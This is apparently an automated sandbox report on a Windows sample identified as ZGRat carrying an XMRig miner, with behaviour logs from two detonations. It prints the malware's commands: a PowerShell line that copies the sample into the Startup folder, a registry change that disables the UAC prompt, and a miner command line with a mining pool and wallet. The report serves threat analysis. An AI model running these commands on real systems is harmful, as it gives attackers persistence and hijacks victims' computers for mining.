Analysis Overview
SHA256
d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5
Threat Level: Known bad
The file d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5 was found to be: Known bad.
Malicious Activity Summary
UAC bypass
Detect ZGRat V1
xmrig
ZGRat
XMRig Miner payload
Drops startup file
Obfuscated with Agile.Net obfuscator
Suspicious use of SetThreadContext
Unsigned PE
Suspicious behavior: LoadsDriver
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
System policy modification
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-04 02:09
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-04 02:09
Reported
2024-04-04 02:11
Platform
win10v2004-20231215-en
Max time kernel
147s
Max time network
148s
Command Line
Signatures
Detect ZGRat V1
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | N/A |
ZGRat
xmrig
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | N/A |
Obfuscated with Agile.Net obfuscator
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2916 set thread context of 1732 | N/A | C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe | N/A |
Suspicious use of WriteProcessMemory
System policy modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe
"C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
"Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe' -Force
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RL3237VGvpn6a2PLwAPVzTRyWmPhKQVn9k.RIG_CPU -p x --cpu-max-threads-hint=50
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 227.66.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| NL | 41.216.183.45:39001 | tcp | |
| US | 8.8.8.8:53 | 45.183.216.41.in-addr.arpa | udp |
| US | 8.8.8.8:53 | filebin.net | udp |
| DE | 88.99.137.18:443 | filebin.net | tcp |
| US | 8.8.8.8:53 | s3.filebin.net | udp |
| US | 8.8.8.8:53 | 18.137.99.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| DE | 88.99.137.18:443 | s3.filebin.net | tcp |
| US | 8.8.8.8:53 | rx.unmineable.com | udp |
| GB | 161.35.34.195:3333 | rx.unmineable.com | tcp |
| US | 8.8.8.8:53 | 195.34.35.161.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.66.18.2.in-addr.arpa | udp |
Files
memory/2916-0-0x0000000000CA0000-0x0000000000D78000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2evjn4yv.51e.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2916-10-0x00007FF8B74D0000-0x00007FF8B7F91000-memory.dmp
memory/2916-11-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/2916-12-0x000000001E850000-0x000000001E872000-memory.dmp
memory/2916-13-0x0000000020DA0000-0x0000000020E64000-memory.dmp
memory/2916-14-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/2916-16-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/2916-15-0x0000000020E90000-0x0000000020F36000-memory.dmp
memory/4468-19-0x00007FF8B74D0000-0x00007FF8B7F91000-memory.dmp
memory/2916-18-0x0000000023350000-0x00000000233F2000-memory.dmp
memory/4468-21-0x000001DFA9780000-0x000001DFA9790000-memory.dmp
memory/2916-20-0x0000000023430000-0x0000000023532000-memory.dmp
memory/2916-22-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/2916-33-0x0000000022F50000-0x0000000022FA6000-memory.dmp
memory/2916-35-0x0000000022FB0000-0x0000000022FFC000-memory.dmp
memory/2916-34-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/2916-23-0x00007FF8B74D0000-0x00007FF8B7F91000-memory.dmp
memory/4468-39-0x00007FF8B74D0000-0x00007FF8B7F91000-memory.dmp
memory/2916-40-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/2916-41-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/1732-42-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-43-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-44-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-45-0x0000012296EC0000-0x0000012296EE0000-memory.dmp
memory/1732-47-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-46-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-48-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-49-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-50-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-51-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/2916-52-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/1732-53-0x0000012296F00000-0x0000012296F20000-memory.dmp
memory/2916-54-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/2916-55-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/2916-56-0x00000000036F0000-0x0000000003700000-memory.dmp
memory/1732-57-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-58-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-59-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/1732-60-0x0000012296F20000-0x0000012296F40000-memory.dmp
memory/1732-61-0x0000012296F20000-0x0000012296F40000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-04 02:09
Reported
2024-04-04 02:11
Platform
win11-20240319-en
Max time kernel
149s
Max time network
160s
Command Line
Signatures
Detect ZGRat V1
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | N/A |
ZGRat
xmrig
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | N/A |
Obfuscated with Agile.Net obfuscator
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4932 set thread context of 668 | N/A | C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: LoadsDriver
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe | N/A |
Suspicious use of WriteProcessMemory
System policy modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe
"C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
"Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d3caae4b8590d11875173d4500b553816949c55042ed95c3c0a5327fc8d7e3f5.exe' -Force
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RL3237VGvpn6a2PLwAPVzTRyWmPhKQVn9k.RIG_CPU -p x --cpu-max-threads-hint=50
Network
| Country | Destination | Domain | Proto |
| NL | 41.216.183.45:39001 | tcp | |
| US | 8.8.8.8:53 | 45.183.216.41.in-addr.arpa | udp |
| DE | 88.99.137.18:443 | s3.filebin.net | tcp |
| DE | 88.99.137.18:443 | s3.filebin.net | tcp |
| GB | 161.35.34.195:3333 | rx.unmineable.com | tcp |
Files
memory/4932-0-0x0000000000170000-0x0000000000248000-memory.dmp
memory/4932-1-0x00007FFABC6A0000-0x00007FFABD162000-memory.dmp
memory/4932-2-0x000000001BE30000-0x000000001BE40000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vimslb33.0yo.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4932-11-0x000000001BDF0000-0x000000001BE12000-memory.dmp
memory/4932-12-0x000000001BE30000-0x000000001BE40000-memory.dmp
memory/4932-13-0x000000001F610000-0x000000001F6D4000-memory.dmp
memory/4932-14-0x000000001F700000-0x000000001F7A6000-memory.dmp
memory/2176-16-0x00007FFABC6A0000-0x00007FFABD162000-memory.dmp
memory/2176-18-0x0000023B2FE50000-0x0000023B2FE60000-memory.dmp
memory/4932-19-0x0000000021700000-0x00000000217A2000-memory.dmp
memory/2176-17-0x0000023B2FE50000-0x0000023B2FE60000-memory.dmp
memory/4932-22-0x000000001BE30000-0x000000001BE40000-memory.dmp
memory/4932-21-0x0000000022180000-0x0000000022282000-memory.dmp
memory/4932-20-0x000000001BE30000-0x000000001BE40000-memory.dmp
memory/4932-23-0x000000001BE30000-0x000000001BE40000-memory.dmp
memory/4932-32-0x00007FFABC6A0000-0x00007FFABD162000-memory.dmp
memory/4932-33-0x00000000218A0000-0x00000000218F6000-memory.dmp
memory/4932-35-0x0000000021AA0000-0x0000000021AEC000-memory.dmp
memory/2176-34-0x0000023B2FE50000-0x0000023B2FE60000-memory.dmp
memory/2176-39-0x00007FFABC6A0000-0x00007FFABD162000-memory.dmp
memory/4932-40-0x000000001BE30000-0x000000001BE40000-memory.dmp
memory/4932-41-0x000000001BE30000-0x000000001BE40000-memory.dmp
memory/668-42-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-43-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-44-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-45-0x0000016D218C0000-0x0000016D218E0000-memory.dmp
memory/668-46-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-48-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-47-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-49-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-50-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-51-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-52-0x0000016D21950000-0x0000016D21990000-memory.dmp
memory/4932-54-0x000000001BE30000-0x000000001BE40000-memory.dmp
memory/4932-53-0x000000001BE30000-0x000000001BE40000-memory.dmp
memory/4932-55-0x000000001BE30000-0x000000001BE40000-memory.dmp
memory/668-56-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-57-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-58-0x0000000140000000-0x00000001407CF000-memory.dmp
memory/668-59-0x0000016D21910000-0x0000016D21930000-memory.dmp
memory/668-60-0x0000016D21910000-0x0000016D21930000-memory.dmp